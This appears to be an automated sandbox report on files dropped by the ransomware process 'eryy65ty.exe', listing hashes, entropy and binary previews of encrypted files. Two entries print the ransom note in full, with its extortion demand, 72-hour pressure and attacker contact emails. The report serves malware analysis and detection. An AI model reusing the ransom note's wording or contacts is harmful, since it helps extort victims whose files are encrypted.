                                                                                                                                                                Preview:..Lj....}..-....D_...........v.....]U...Y.{|..^.5... ..Y$.7K_S......W.6VMFtO..Xt......j...=.p.7.....;...$...,E.u.....q.0._..m..h.u....d..}...b......8.L6.D....`...m.....^.H...h.Q...v.4........T..r..].m.....x.y..\x...?.@..C.AXa.A<.0.....5.%8./...2<..y.".O~o.?4.........EB..V...jX+3...N...@.....f>..7|Z!...E..,.(.-;..h....0$...=.>.. ."..XO]7n..@.@..=.i..>Y;=.z.x0ln.c.._..:G+..as[Xw!..T...[...w.U...@......i.h..B.)......t...]f.....u!({...!..wp.........<..<Uf*.F..].."......5.....p...j.E.Z.....e......-.u?n.P....+\.!../x.....b..6.:7..[...6....5W..5A..OJ."...0D.+.BV....|6.i.bk}.YLH...}....f.ML-8..*..\t`(....,T.P..~ 5...d..z....H8.A.M. .q...h..>I...6..a.E......."..8n.h\.`.B=...i..g."Q...;qW#?-.{7.G*8DT[...B...$o..Z.\.6'.......w0.v......{H.UP.O.B.......|..w.w^.c.`b<{O.........g...+..{...kO.';....^V]%./...sd..*w....}.j.....Jx=.......J.1...<..T....K?r...=s1.7....*f.}..U.j...{\........S.?5\...]T.y.a.I".Ch..&..z....1.0.....KJs...4.-.D..?.WJt...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.609023139379411
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:3lessT2KhTJeQsdO9Odu9jEhopvOCHgZVBNLdkpogyzckJZYFhQhmBhKJ1Iv3FWA:omKKXdS6CkLd5gEJIhYI1WIMS3R
                                                                                                                                                                MD5:45D95906C77410A08582F473D29D666C
                                                                                                                                                                SHA1:1DA9203DB7239ACC9BAEC69A6A8DA2C81968248E
                                                                                                                                                                SHA-256:54D0D53F9A9DFCB5DF807883204951F8B0E292D3C33C310189CE517825CFEF9A
                                                                                                                                                                SHA-512:4C3A9427DE3CDFE8B82312EF67993739AF2A18185178C1B9C725BB723E5EE1B4CA6AEAD68B2998F01B602A97E0ACEE1765AD3282594392EBB4A8C51622361664
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:E.I.k/b.8O.W.f.N.>.-.0{.1.^.=1....l.o.G.Y..(3i..h1.^.f;.w...o[T.G...D[..h8..;.~ff.W.-.8.V....W.."q..e|*......v.P~d...9....O...1..,h.c....T&....i.[...=.0.....J.% .L.\.:.N:..+...&........Q.xwzK..G._SmM.Q..s)0.S.n,..e.>t.?\.x.f.T..@..l].....8..u.F...al.P.%.~.n.j..-.}..".<i.~.#........t...3E4.mP$.qc........IE......c.$......L.$.<2..K.T...d.....Yv....-~I.......u*,..r:........T....p/..5.N`.:.u....I....F^.....G..:V.....Y..,..]UE.C<.d...+_.a.;!+..m.@.l..m...D.n.....F...r...\kw....3.sv.R.m.5.....)G....a .........<{..@...Oq3R...<E.....G`..0..$.w@w...Qh.YN2.1&H.x.I|...(........\/..v......S0.....AB.....].F..@.......Z1..|.W....k...b...J.!..Xiy..V.O.`..O8&.vw&./........,,_..ma..4..CF..*.{.....$c.g...N....x.,..T....!.Qz.O5d......U...M.....A.]..wai}0,s.O`a....q....`.3.....U..i.....#pqG*d.mtM.,.=..........W].....i..2"...bY.p"./}!..p.'.....%.-5..I.d4.6.|.^...?........./l...L.....y....G.....FB..J....\k..........L.i..r..F[..J..oi..qm.U..f.R
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.609023139379411
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:3lessT2KhTJeQsdO9Odu9jEhopvOCHgZVBNLdkpogyzckJZYFhQhmBhKJ1Iv3FWA:omKKXdS6CkLd5gEJIhYI1WIMS3R
                                                                                                                                                                MD5:45D95906C77410A08582F473D29D666C
                                                                                                                                                                SHA1:1DA9203DB7239ACC9BAEC69A6A8DA2C81968248E
                                                                                                                                                                SHA-256:54D0D53F9A9DFCB5DF807883204951F8B0E292D3C33C310189CE517825CFEF9A
                                                                                                                                                                SHA-512:4C3A9427DE3CDFE8B82312EF67993739AF2A18185178C1B9C725BB723E5EE1B4CA6AEAD68B2998F01B602A97E0ACEE1765AD3282594392EBB4A8C51622361664
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:E.I.k/b.8O.W.f.N.>.-.0{.1.^.=1....l.o.G.Y..(3i..h1.^.f;.w...o[T.G...D[..h8..;.~ff.W.-.8.V....W.."q..e|*......v.P~d...9....O...1..,h.c....T&....i.[...=.0.....J.% .L.\.:.N:..+...&........Q.xwzK..G._SmM.Q..s)0.S.n,..e.>t.?\.x.f.T..@..l].....8..u.F...al.P.%.~.n.j..-.}..".<i.~.#........t...3E4.mP$.qc........IE......c.$......L.$.<2..K.T...d.....Yv....-~I.......u*,..r:........T....p/..5.N`.:.u....I....F^.....G..:V.....Y..,..]UE.C<.d...+_.a.;!+..m.@.l..m...D.n.....F...r...\kw....3.sv.R.m.5.....)G....a .........<{..@...Oq3R...<E.....G`..0..$.w@w...Qh.YN2.1&H.x.I|...(........\/..v......S0.....AB.....].F..@.......Z1..|.W....k...b...J.!..Xiy..V.O.`..O8&.vw&./........,,_..ma..4..CF..*.{.....$c.g...N....x.,..T....!.Qz.O5d......U...M.....A.]..wai}0,s.O`a....q....`.3.....U..i.....#pqG*d.mtM.,.=..........W].....i..2"...bY.p"./}!..p.'.....%.-5..I.d4.6.|.^...?........./l...L.....y....G.....FB..J....\k..........L.i..r..F[..J..oi..qm.U..f.R
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.2474554357142225
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:Loh3TujJ2D/+MTjd5/l3AOyjkMdgmVuIrOox+7hYdXUn:L+TujJ2j+Sjt32AMWWOX7heXUn
                                                                                                                                                                MD5:0D14710CFC2DAF6449DB548F3A268940
                                                                                                                                                                SHA1:87D0E94A09C68B0CC54B05C74E44CE8FEF322628
                                                                                                                                                                SHA-256:DAF0DFFDF6C42C16E7B58C783B41395547F56B74F992DE50389990E6E3B4D8CF
                                                                                                                                                                SHA-512:0FE00C2E0FCA3BC387E6966C09AB1F5A89DAFC95D2CBA8808D87BDC6CE58D6B80DFBDE974E5FF7C5960FC7A7FA184F23ABED9D5ED7BE3071255BAEAFA6516C37
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:........^[."................z...+...I.2._.(..U..(L.9a).BL....f.^].Ly.ZG..#Lx..v.O....J....W.=.I.^..Nu..6.......{.jcmo"..<<u....b..O.8..M}..n..a(....t\._..M.8k....S...*o..SO.2..9.M;<..3..8.C&.R..wD|F. 5G.2?@.k......(..z.T@;.....ic.....s...5..&.Y.z$......L..hH.$>.._.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1694905842572396
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:3At4+mEAZ+CFJIFDrd57UT6WoVj/9PLZiOxzZJaKx7:w6EOXIZh57UFK9fv7
                                                                                                                                                                MD5:245B5BAA103AACD554AA0B9902A724FF
                                                                                                                                                                SHA1:BDC9FC6F5E909F506E8CDB92835765B9689C4CFF
                                                                                                                                                                SHA-256:6BB3FDD4352AA0DEBE54F62D5F92B034A7C255DEE804BB1C3DEF1A203A141671
                                                                                                                                                                SHA-512:EACBAD2F21C8B9D6B3E75E681DCE44B5AFA1A4874BD6F277023D63C56AF9F18FDE899BB189EF6BF775C61EA26802FD9BC619499887C041FE41E8218671CE7742
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..Lj....}..-....D_...........v.....]U...Y.{|..^.5... ..Y$.7K_S......W.6VMFtO..Xt......j...=.p.7.....;...$...,E.u.....q.0._..m..h.u....d..}...b......8.L6.D....`...m.....^.H...h.Q...v.4........T..r..].m.....x.y..\x...?.@..C.AXa.A<.0.....5.%8./...2<..y.".O~o.?4.........EB..V...jX+3...N...@.....f>..7|Z!...E..,.(.-;..h....0$...=.>.. ."..XO]7n..@.@..=.i..>Y;=.z.x0ln.c.._..:G+..as[Xw!..T...[...w.U...@......i.h..B.)......t...]f.....u!({...!..wp.........<..<Uf*.F..].."......5.....p...j.E.Z.....e......-.u?n.P....+\.!../x.....b..6.:7..[...6....5W..5A..OJ."...0D.+.BV....|6.i.bk}.YLH...}....f.ML-8..*..\t`(....,T.P..~ 5...d..z....H8.A.M. .q...h..>I...6..a.E......."..8n.h\.`.B=...i..g."Q...;qW#?-.{7.G*8DT[...B...$o..Z.\.6'.......w0.v......{H.UP.O.B.......|..w.w^.c.`b<{O.........g...+..{...kO.';....^V]%./...sd..*w....}.j.....Jx=.......J.1...<..T....K?r...=s1.7....*f.}..U.j...{\........S.?5\...]T.y.a.I".Ch..&..z....1.0.....KJs...4.-.D..?.WJt...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1504868954121596
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:421Gpj04Zz/HTUwOb6/cGcce1H3WiREAWsJmOJZPEGj2wKD714:DEj3N/z1j/cRPFjvPJ/J
                                                                                                                                                                MD5:6F37664720CBE47E709C6DCA08EEA230
                                                                                                                                                                SHA1:73CE8245E560EF751609A9C92302268275DC24C2
                                                                                                                                                                SHA-256:07702C6F2A0DAECEF4490EBCE0224C0549B75CB7323DA563206288C6B5EE67B9
                                                                                                                                                                SHA-512:268A1AB3EF34C720D65A3A172EAC9C1F6DD24A35859C7BE45B045228531C8A41016E2AC2E1DCC4E0EBE5CFEAB6B40FE50B5D3B3A58BA3D3E30C1DC820EEF765A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:C...p..~-...5..a.O.q.oz.+7D_..o.RK..0....._..Z.....es..?.o....:...K./h.....GC... W..|...#.2"+..3|44#!...:\{(...f....0..g...S.F..4..ZF.C......PH..}.WX.l..uo.......& ...1.{~.&}..`.....7.K..0.ZQ.C..Pk.L..H...#.r...w...+...*S.7.e.f...V.16b...1...M....&.....*]^.K......}..%......a..^.../..v..jbv...s.2|Ch..q.`.U...u.k....f.F.;=.D~F...;....e\...>Cs...C.I...j........4.{).-.........Lt.....?X.zf..!.^.L.4yf..l.....!...B..6....H...Uq.B.3.u.).VNf....M.0N..Lq..r..T+*z...2...v)C..J.>......._#S$....p.......fm....# 4.e.....*$wyf.[m.1..I.f...I.].V.......KY..'.r....CR....#..@.G.i...+.mb.Q...=..K.....q,..../O.m._L....".aX.9;.....bt.U...."+.t......s.dbZ....\.4..lp9I9u.'o......t..U[..Y.....[....._!.V.+t\..#$......5G.xPD.....l.MDx..7.`.M.{..1...r0@.....r..K...e/..e...&.."Ze6..H....J....r.H.H?....'....o.i,S...Lv..%.....wMO..T2.l...l...+.... .*tZ..[.g..........w\. ....P.._ZQK../.+55..>..9w...jTI!$6..k........b0.u.0D...PE.Z..........N.<.}..8W.D.....Ms.l*.~.l....9......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6083279085978892
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:R+C/Llq1OGI2swE9wsInIC0OL42gCdNggPRw8V+OLSp17R:R+s0MWswM0I8vAJKe
                                                                                                                                                                MD5:C419BDD4AF2E85639318EBE4388214E9
                                                                                                                                                                SHA1:0FABB9D5F55E8513A582C06AC57E42DDB3CCCFB1
                                                                                                                                                                SHA-256:4248B35F5FD0508A2DE68F86505B0E8CB7232CE4DE7F7C6EF80C8535277B0D34
                                                                                                                                                                SHA-512:CDD86176C5AB926F138BDC8CF050225FF0DEBE737149C2DF9F7E143A4F62A3FB16756AEB2387F736B28E3DCE6F8A84F81305AB338E9C8AD77347EF2B63724E0C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.n/'yU.$\;d.......'...AbR.....2.`fD."..N...t......<.as-.}.....@*/.......F.5\8.<....?.......=[.6..z./.+.........>.$.]M=...x4.^I..:.G.f."#e.3.d.~%....S..ow:.......=M{......=.P.7M.X.n.....k...Iz$....}@.OS.k.A....OLj%..?.lje..b.dW....@+.i.l#...x...B....j...:...,............Q8.....U0.....1...hxO.S.Y.^.Y...iV.|.g(Y......J..But.......'9..F0'.[...)....(...f.f.wU..p.W#..m)C8.w........>..@5.|....c..f.F.m.<C....!.c-.../.~bsf&U....I..p/...!...$0....].\...%J4..[<.1.kr<..d..'&..l@...+.....r...._...h.?...l.y.[........9.6Y...A...eH[..<....e.8.Q......)..l..F.1.|.D....I...e..|.....=...)&.kXv..c.W2e...K..~7..+.......N.......C.'a...P....g.138N.,.x{...;.H..99...;.y.l@.....2.hBm...0mbp..s..W.......x.q.f1...T.no.+W.Y.{..D.M..D0s..<u...w.aZ..)..@D.p..r...O.G.t..G.Q.S.;^%G...>.^.le{.m.?d<L.pX..#.J....".".`......p...8...J%.NtZ=a...........,c.S.E.m1hD....y..c[.<M. .ku....]j..,'.>;E.d.ga.35qx.....F..y.\...U$...`sh.)..L.........#..WQ...PKF.5..V...Hn....3...*.M0.....o.{s...0..-
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6083279085978892
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:R+C/Llq1OGI2swE9wsInIC0OL42gCdNggPRw8V+OLSp17R:R+s0MWswM0I8vAJKe
                                                                                                                                                                MD5:C419BDD4AF2E85639318EBE4388214E9
                                                                                                                                                                SHA1:0FABB9D5F55E8513A582C06AC57E42DDB3CCCFB1
                                                                                                                                                                SHA-256:4248B35F5FD0508A2DE68F86505B0E8CB7232CE4DE7F7C6EF80C8535277B0D34
                                                                                                                                                                SHA-512:CDD86176C5AB926F138BDC8CF050225FF0DEBE737149C2DF9F7E143A4F62A3FB16756AEB2387F736B28E3DCE6F8A84F81305AB338E9C8AD77347EF2B63724E0C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.n/'yU.$\;d.......'...AbR.....2.`fD."..N...t......<.as-.}.....@*/.......F.5\8.<....?.......=[.6..z./.+.........>.$.]M=...x4.^I..:.G.f."#e.3.d.~%....S..ow:.......=M{......=.P.7M.X.n.....k...Iz$....}@.OS.k.A....OLj%..?.lje..b.dW....@+.i.l#...x...B....j...:...,............Q8.....U0.....1...hxO.S.Y.^.Y...iV.|.g(Y......J..But.......'9..F0'.[...)....(...f.f.wU..p.W#..m)C8.w........>..@5.|....c..f.F.m.<C....!.c-.../.~bsf&U....I..p/...!...$0....].\...%J4..[<.1.kr<..d..'&..l@...+.....r...._...h.?...l.y.[........9.6Y...A...eH[..<....e.8.Q......)..l..F.1.|.D....I...e..|.....=...)&.kXv..c.W2e...K..~7..+.......N.......C.'a...P....g.138N.,.x{...;.H..99...;.y.l@.....2.hBm...0mbp..s..W.......x.q.f1...T.no.+W.Y.{..D.M..D0s..<u...w.aZ..)..@D.p..r...O.G.t..G.Q.S.;^%G...>.^.le{.m.?d<L.pX..#.J....".".`......p...8...J%.NtZ=a...........,c.S.E.m1hD....y..c[.<M. .ku....]j..,'.>;E.d.ga.35qx.....F..y.\...U$...`sh.)..L.........#..WQ...PKF.5..V...Hn....3...*.M0.....o.{s...0..-
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.253962745748094
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:YiEB+j0EUXqpmEHYU1+VGlM8j+9U+5/3BuHi1SpWR1rDDmYWVEHB8mxxF+xO9en:vEq4aV4xVG9j+9r5/xuC1+KnJHB8qo+e
                                                                                                                                                                MD5:F3E7D12C0B24D4A47C43A29EE717ABC4
                                                                                                                                                                SHA1:AC6540325CFA522A7E62E5576CC86794088D2A6D
                                                                                                                                                                SHA-256:AE1FD7C77407D6E4087976D4E9130DCCC47FD0D19A094BD58FA4BAC7D14D336F
                                                                                                                                                                SHA-512:B8AC4E1D6610D47DA93167482977C4D7E07F6E9F553303CA08C8426A84B607AF423BC56D137C3D987FC395B2EA42317A9DA36A12120B5D500B79608061450BCD
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:\..uL/...I.($Urk..........R+.K.!..s..a..._...wT..d.m.<C.\r.c.yu..\p.......B4b"&.:..g..m;e...9&g..1....O{.=;._.w..."..5..^...p.h,[X9.......x.K.........RF.....;...}~4..9.....[S...A0...7.\...^.wq3u.{.d..?...T.. .i..,....B..>n8,.@..-1.L/.`.6..)\D.D.L.z']..q.....7@..=.@u~MxZ0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1504868954121596
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:421Gpj04Zz/HTUwOb6/cGcce1H3WiREAWsJmOJZPEGj2wKD714:DEj3N/z1j/cRPFjvPJ/J
                                                                                                                                                                MD5:6F37664720CBE47E709C6DCA08EEA230
                                                                                                                                                                SHA1:73CE8245E560EF751609A9C92302268275DC24C2
                                                                                                                                                                SHA-256:07702C6F2A0DAECEF4490EBCE0224C0549B75CB7323DA563206288C6B5EE67B9
                                                                                                                                                                SHA-512:268A1AB3EF34C720D65A3A172EAC9C1F6DD24A35859C7BE45B045228531C8A41016E2AC2E1DCC4E0EBE5CFEAB6B40FE50B5D3B3A58BA3D3E30C1DC820EEF765A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:C...p..~-...5..a.O.q.oz.+7D_..o.RK..0....._..Z.....es..?.o....:...K./h.....GC... W..|...#.2"+..3|44#!...:\{(...f....0..g...S.F..4..ZF.C......PH..}.WX.l..uo.......& ...1.{~.&}..`.....7.K..0.ZQ.C..Pk.L..H...#.r...w...+...*S.7.e.f...V.16b...1...M....&.....*]^.K......}..%......a..^.../..v..jbv...s.2|Ch..q.`.U...u.k....f.F.;=.D~F...;....e\...>Cs...C.I...j........4.{).-.........Lt.....?X.zf..!.^.L.4yf..l.....!...B..6....H...Uq.B.3.u.).VNf....M.0N..Lq..r..T+*z...2...v)C..J.>......._#S$....p.......fm....# 4.e.....*$wyf.[m.1..I.f...I.].V.......KY..'.r....CR....#..@.G.i...+.mb.Q...=..K.....q,..../O.m._L....".aX.9;.....bt.U...."+.t......s.dbZ....\.4..lp9I9u.'o......t..U[..Y.....[....._!.V.+t\..#$......5G.xPD.....l.MDx..7.`.M.{..1...r0@.....r..K...e/..e...&.."Ze6..H....J....r.H.H?....'....o.i,S...Lv..%.....wMO..T2.l...l...+.... .*tZ..[.g..........w\. ....P.._ZQK../.+55..>..9w...jTI!$6..k........b0.u.0D...PE.Z..........N.<.}..8W.D.....Ms.l*.~.l....9......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):49418
                                                                                                                                                                Entropy (8bit):1.1815658988383122
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:xyMuaaWpXKXEKjRyxkmxgsND48fW6WEbnszE+uqkpDBCDcqk6T2:gMtDkj4msNDhW6WbxkptCDcds2
                                                                                                                                                                MD5:D22446EBC30F63700FC67A6D2CD85D88
                                                                                                                                                                SHA1:B2793A0064A332D7E30E4C528E775A396F1F0EB6
                                                                                                                                                                SHA-256:5CCA5988EB552FB5943A4D06B425838728AAD5017170AB039786565099ADAC57
                                                                                                                                                                SHA-512:C4D3E52300B079397345934B85879EDF4FABFEB13C7874F48BA0A4A56E57DEFE268B6B29BC647D51A5239DA578626B31EE6660EFF53FCCD2B03493D35B2D8581
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:*/....d...........8.v..\+0....T....j......3..<.b....@...:#&....y....V....my...'.........vx#CU<...Tp...^l.a........`.+.].....$..........~.`+..hF......9.gEO..&yZ....@&@.9z@./...;..C.x...N_LW..i.Qu..V.W\.S.Xs.t....,.5..'....C.Ix.c....~...H #h..*.g....2.yy$.'(=.Q.r`.......<.^w.0.M....%.W.$;.x.....IF.>.H^...&.Hi$7.o...7q@".l.*..M..+<]....w|....Om..6t.....8.r..e.ir.6..s...v.!.N..l..a.....r[...7...W...'~W......l....GF..O.F.....g....]..$Lue..Z.0h.......d..Af}...w.g.m.pZ.........E.uH......O.. Q..V.....$.N..|...o%..=*....w......um......jC..0q...L....e"....r..t..9(....#4.d..|.}N..S...?fZ... .H...\.......$ ...n.....x;.l8...*..5.1e.X..&.......f.b:Z...Y..czn...X)1...Y..S.'.}.d..".V_b.p...^n#.d....t.+kaVC@g.M.?.Fsp. G.@.i....7..^*.VP..Wi........\....%.....R(.90a....jh......)._33z..~..p..~....y..|.k@?..c..Q./.....z..?vF..L..<...y.~..:d.kX..7..;v..>7...%..C?/V.b.Ss.y(SxVV.[..<`L.v0].{.....&.....Sv...5.o...XH..K.!J.......=n.....t..m...oR.@.TV..$I.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:big endian ispell hash file (?),
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6052855107439616
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:9AwXl2ZfGR9u5zy/Ucwv9ZVg7+tbp1+kUFaGU9xRUKuioL3O:yA9Nc/HVFbWGn7KO
                                                                                                                                                                MD5:923AEC7D847F496A16692B4450F281C7
                                                                                                                                                                SHA1:306E16920D6C2CB2BAD04DA6AA6A0EA97412D4E6
                                                                                                                                                                SHA-256:E6AC9174336ECA2FFFD35046D193F1C66F3302D3D8DBFB4C588056A4F31046EC
                                                                                                                                                                SHA-512:B387BD5330D62B2D2119D496352CE96ACD6EFB8B906CD390E287800C97E6ABE72A0B9D5B5A6935DE7D1D56F16BA3A13E197EA3C9C71D80A719E6042CB89B610B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......4-......WT.....[....c..O.Pr...T.w.7...f.!.._...v.....0./.N.......@.+S..0...f.?v..+&.......grd....n.XL$...X.G.....o.M...^..<.[..O..323<C.pAi.....n.....N6.^.._c.....E.......E$K.......b........$..H.........P.p".a.a..........R.U.+.d.....{...BH..2d.C..C.......R.LW..7.f.....@\=...m.R......fO.Z..d...m.A..q..:...P.B.x.,W5_..n.F^...A.......q..*.......Z......>s.X..5.IiO_._...Y........i.....<e.$.+......=.o...px....G"Z.|......0.`$_...1#.2.....N.n.L.7.~.-.$..e..1..h1'%.rqf....3....".2..Z+0,xy....F...[jsp.._...Tk`..E..^....$..=.i>.,..H.>.0....5y.$Z...`.t....R.Q.....;..W3..L.8.IDd:Q5$.oa~..vL;.......bI(.j....d..[..r.e..S...-A.....+.V.[....*.Yo..j8....w.......@..ezX..-.......]r~....]i..6....J_3..!Ap.......tg...{.n.-.`.^.4..w6.tCl.r.R..'e.R=tg..GP..?s.8./...t.j.t....>;.jjf.r.g'.......`.......,..u...X^.....R..!8d*R....a1..iPyMbR....1....?.$.C......vS\G..c[.....'rL.D....{....]....;SA}T`OZ..M.....H...Z...k .4.v.....D.I...HC.).!,.....i...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:big endian ispell hash file (?),
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6052855107439616
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:9AwXl2ZfGR9u5zy/Ucwv9ZVg7+tbp1+kUFaGU9xRUKuioL3O:yA9Nc/HVFbWGn7KO
                                                                                                                                                                MD5:923AEC7D847F496A16692B4450F281C7
                                                                                                                                                                SHA1:306E16920D6C2CB2BAD04DA6AA6A0EA97412D4E6
                                                                                                                                                                SHA-256:E6AC9174336ECA2FFFD35046D193F1C66F3302D3D8DBFB4C588056A4F31046EC
                                                                                                                                                                SHA-512:B387BD5330D62B2D2119D496352CE96ACD6EFB8B906CD390E287800C97E6ABE72A0B9D5B5A6935DE7D1D56F16BA3A13E197EA3C9C71D80A719E6042CB89B610B
                                                                                                                                                                Malicious:false
